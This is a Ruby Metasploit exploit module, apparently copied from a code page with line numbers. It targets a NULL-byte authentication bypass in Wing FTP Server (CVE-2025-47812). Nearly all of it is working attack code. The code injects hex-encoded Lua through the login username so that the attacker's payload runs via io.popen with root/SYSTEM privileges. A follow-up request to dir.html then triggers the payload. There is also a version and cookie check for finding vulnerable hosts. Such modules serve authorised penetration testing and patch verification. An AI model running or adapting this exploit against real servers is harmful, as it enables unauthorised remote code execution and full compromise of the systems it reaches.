1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)', 'Description' => %q{ Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812). Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix, while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges, leading to Remote Code Execution. }, 'Author' => [ 'Valentin Lobstein', 'Julien Ahrens' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-47812'], ['URL', 'https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/'] ], 'Platform' => %w[unix linux win], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2025-06-30', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) )
register_options( [ OptString.new('USERNAME', [ true, 'Valid username for authentication', 'anonymous' ]), OptString.new('PASSWORD', [ false, 'Password for authentication', '' ]) ] ) end
def uid_cookie(res) res&.get_cookies_parsed&.[]('UID') end
def post_login(username, password) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'loginok.html'), 'uri_encode_mode' => 'none', 'headers' => { 'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english' }, 'vars_post' => { 'username' => username, 'password' => password, 'username_val' => username.split('%00').first, 'password_val' => password } ) end
def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.html') ) return CheckCode::Safe('Not a Wing FTP Web Client') unless res&.body&.include?('Wing FTP Server - Web Client')
if (ver_str = res.body[/Wing FTP Server v([\d.]+)/i, 1]) ver = Rex::Version.new(ver_str) return ver < Rex::Version.new('7.4.4') ? CheckCode::Vulnerable("Detected version #{ver} ≤ 7.4.4") : CheckCode::Safe("Detected version #{ver} > 7.4.4") end
suffix = Rex::Text.rand_text_alpha(8) user = datastore['USERNAME'] pass = datastore['PASSWORD']
res2 = post_login("#{user}%00#{suffix}", pass) return CheckCode::Unknown('No response') unless res2
if uid_cookie(res2) CheckCode::Appears('UID cookie received') else CheckCode::Safe('UID cookie not found; not vulnerable') end end
def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] hex = payload.encoded.unpack('H*').first
lua = <<~LUA ]] local function hx(s) return (s:gsub('..', function(x) return string.char(tonumber(x,16)) end)) end local cmd = hx("#{hex}") local h = io.popen(cmd) h:close() LUA
inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--'
res = post_login(inj, pass) fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200
uid = res.get_cookies_parsed.fetch('UID', nil) fail_with(Failure::UnexpectedReply, 'UID cookie not returned') unless uid print_good("Received UID: #{uid}, injection succeeded")
send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dir.html'), 'headers' => { 'Cookie' => uid } ) end end
|